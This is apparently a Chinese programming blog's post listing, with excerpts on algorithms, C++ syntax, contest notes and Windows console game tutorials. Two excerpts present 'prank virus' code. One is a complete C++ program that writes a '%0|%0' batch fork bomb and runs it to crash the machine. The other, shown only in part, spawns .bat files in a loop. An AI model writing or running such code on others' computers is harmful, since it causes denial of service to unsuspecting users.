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原创 c/c++快速幂及其原理

快速幂的数学原理和代码实现

2023-10-18 21:48:11 108

原创 谷歌翻译【生草机】神奇作品

为我自己创建墓牌???????????????what far???这是一个,欢迎大家私信投稿神奇的谷歌翻译【生草】作品。。。

2020-12-01 20:09:02 540

原创 简单的加密系统c/c++[伪hash求看,点进来也可以QAQ]

简单的加密系统c/c++下面是一个基于模运算【%】的加密系统,大致是这样的先搞出来4个大数(下面的例子是八位的数字)其实他本身的是否为质数不用考虑#define h 37301231#define u 30724313#define s 70654554#define o 98745554现在,再定义一个需要加密的数在longlong范围内,否则要加高精度模运算或者加法【等回来更新】进行如下运算a*=h;a%=u;但是这里面就用到两个数字啊?而且会有大量相同的重复,解码就存在问题了,

2020-12-01 19:37:17 314

原创 提高cin速度(c++)

下面方法可以减少读入速度,但是这样用之后不能用scanfios::sync_with_stdio(false);//加快cin的读入速度,但是scanf将会不能用

2020-11-14 09:34:22 581

原创 CSP2020S总结

题目:大佬勿进· T1儒略日· T2函数调用· T3动物园· T4贪吃蛇这次比赛怎么讲,就是,,,,第一题儒略日,大模拟应该能拿90,但我肯定不能90,这是我自己的问题,根据机房伟大不平凡的刘大教练的说法,此题用二分答案就能A掉,还是先打我的90吧第二题Emma,题目有点长跟阅读理解一样,考试的时候看的挺崩的,大致意思理解了,但是被第一题坑害到疯狂改错耗费大量时间的我,,,,第三题ZOO,被隔壁二级大佬教导之后成功AC,主要是位运算学的不扎实啊,甚至连去年的格雷码位运算变态写法也是云里雾里

2020-11-13 21:41:33 293

原创 c++一些写小游戏的教程从入门到入土【2020-11-12第三章】{活用MessageBox篇}(MessageBox函数详解)提示框

MessageBox这是一个高端大气上档次的函数,能让你的小黑框变的不平凡,他也是Windows.h的伟大函数之一,他能让你的小黑框变的不在平凡,函数原型大约是下面这样的HWND是你的窗口属性,这里不再考虑,因为暂时用不到,可以看我博客的其他文章来了解LPCWSTR这玩意指的是弹出小提示框的内容了LPCWSTR跟上面的一样,但是前者所指的是什么?是他的正文,而这个指的是标题了UINT指的是窗口属性了下面上一个实例会更好理解实例这里的kkkk所指的是内容了,title指的是题目,MB_OK

2020-11-12 17:25:44 292 1

原创 CSP-AK-I

QAQ

2020-11-12 09:53:50 188

原创 c++坑人小病毒2,非关机但是很恼人

开虚拟机或在文件目录下运行#include<bits/stdc++.h>#include<windows.h>using namespace std;char a[5000]="aaaaaaaaaaaaaaa.bat";int main(){// HWND hwndDOS = GetForegroundWindow();// ShowWindow(hwndDOS, SW_HIDE); int p=0; while(1){ a[p]++; p++;p%=15;

2020-11-02 20:01:45 989

原创 c++一些写小游戏的教程从入门到入土【2020-11-1第二章】{活用Beep篇}(beep函数)

Beep函数因为是小游戏自然不需要备用什么大的音乐过场了(以后会讲,,,)但是发声无论如何都是让你的程序更加出彩的一点(与众不同嘛),最起码能在当今的纯 (if、cout,else cout) 中凸显出来而且比如你写了一个战机的游戏,可以在加分时做个提示,甚至你可以做一个小的laji电子琴,还能手打很多乐曲,无论如何都是有好处的,那么骗你读了这么长时间也应该开始今天的小教程了。ps:OI刷题了吗?2020csp rp++BOOL Beep( DWORD dwFreq; DWOR

2020-11-01 13:49:05 312

原创 2D中小游戏开发C++游戏教程

初探Windows窗体程序(上)2D游戏制作从入门到入土。这个相对于我那个小游戏入门就显得比较专业了,但是仍然会给源码,关注可以下载相应的模板,模板是给全的。###感谢老司机(一个人)###First了解下游戏的过程吧,一般来讲游戏分下面几种状态游戏状态(game_state)#define Game_Menu 0 //游戏菜单#define Game_Ready 1 //游戏加载#define Game_Play 2 //游戏进行#define Game_Pause 3 //游

2020-10-31 20:00:43 2259

原创 c++坑人小病毒三行杀电脑不是关机的玩意

c++三行杀电脑重启源码:#include<bits/stdc++.h>int main(){ freopen("FUCK.bat","w",stdout); std::cout<<"%0|%0"; system("start FUCK.bat");} 解释:首先是熟悉的万能头,这个没什么用,,只不过顺手而为之然后是熟悉的freopen了这个作用主要是重定向并生成一个文件,然后通过cout在其中输入“%0|%0”,这样一个主要的病毒原件就创建完成了,%0 指

2020-10-31 19:10:02 1808 5

原创 c++一些写小游戏的教程从入门到入土【2020-10-31第一章】{活用Sleep篇}

写小游戏的教程不要耽误OI前言:很多OI学子或是自学的人都会在闲暇之余写些有趣的小游戏,这里给大家一些小教程,等回来我也会写怎么制作类似2d的一些教程这里作者使用的是比较严格的Devc++来写的,VC应该也能运行的(一看就是竞赛的蒟蒻)这一章先说怎么活用Sleep函数吧首先,Sleep函数这东西能让你的程序暂停一段时间大概Sleep(1000)是1秒的样子,所以你可以用它呈现出一些加载的画面会令你的程序看起来更加dalao,比如下面的实例#include<bits/stdc++.h&

2020-10-31 17:23:11 821

原创 最小生成树算法思路详解,Kruskal

最小生成树,Kruskal首先随便搞一个图吧PS:树无向!只不过顺手画上了首先看这个东西,最小生成树,重点自然在最小树这两个东西上了,那么最小生成树的定义是怎么样的?最小生成树是图论的东西,那它根图自然是密不可分的了图有边权,最小生成树则是生成把所有点连起构成的图的边权最小.而还得注意它是树所以其无环,而Kruskal的重心就在这;首先随便搞一个图吧PS:树无向!只不过顺手画上了抱歉,有点草了…数据:点1 点2 权值 1 3 2 2 1 1

2020-10-28 13:22:18 448

原创 等排队题解c++

等排队题解这道题刚开始看的我有点蒙,不过再看看就知道了,最重要的就是推出来:所用的时间为l-r,减去前l-1个人的接水时间乘上人数,然后开出来一个计数器每次再mod上1e9+7,看提上说数据可能过大,一定开long long,不然代码对了但是定义不对就得不偿失了#include <bits/stdc++.h>//头文件 #define N 100050 //用宏定义N为“100050” #define mod 1000000007 //用宏定义mod为“1000000007” us

2020-08-20 12:35:33 361

原创 c/c++define宏定义用法语法详解

define宏定义的详解c/c++中,有这样的一个预处理,就是define 可以用 #define 定义一个标识符来表示一个常量。特点是:定义的标识符不占内存,只是一个临时的符号,预编译后这个符号就不存在了。define被称作是宏定义使用起来十分的方便简单,比如下面的例子#define N 1000000这是一个简单的宏定义,就是N值为1000000可以直接用到数组里举个比较简单的例子吧#include<bits/stdc++.h>#define N 1000000using nam

2020-08-19 22:01:15 1930

模板一2d游戏开发实例源码

注意要创建工程粘贴到main里!

2020-10-31

一次测试,快速队列大小根堆

一次小测试的题目,测试数据还没打包,等回来会打包一起发送,用来练习挺好,难度适中

2020-08-20

代码雨黑客帝国同款带注释

代码雨,点击全屏按任意键退出,效果很好,dev可编译通过,点开可直接执行,装比,更改必备,内带详细注释,可用作学习案例

2020-08-19

空空如也

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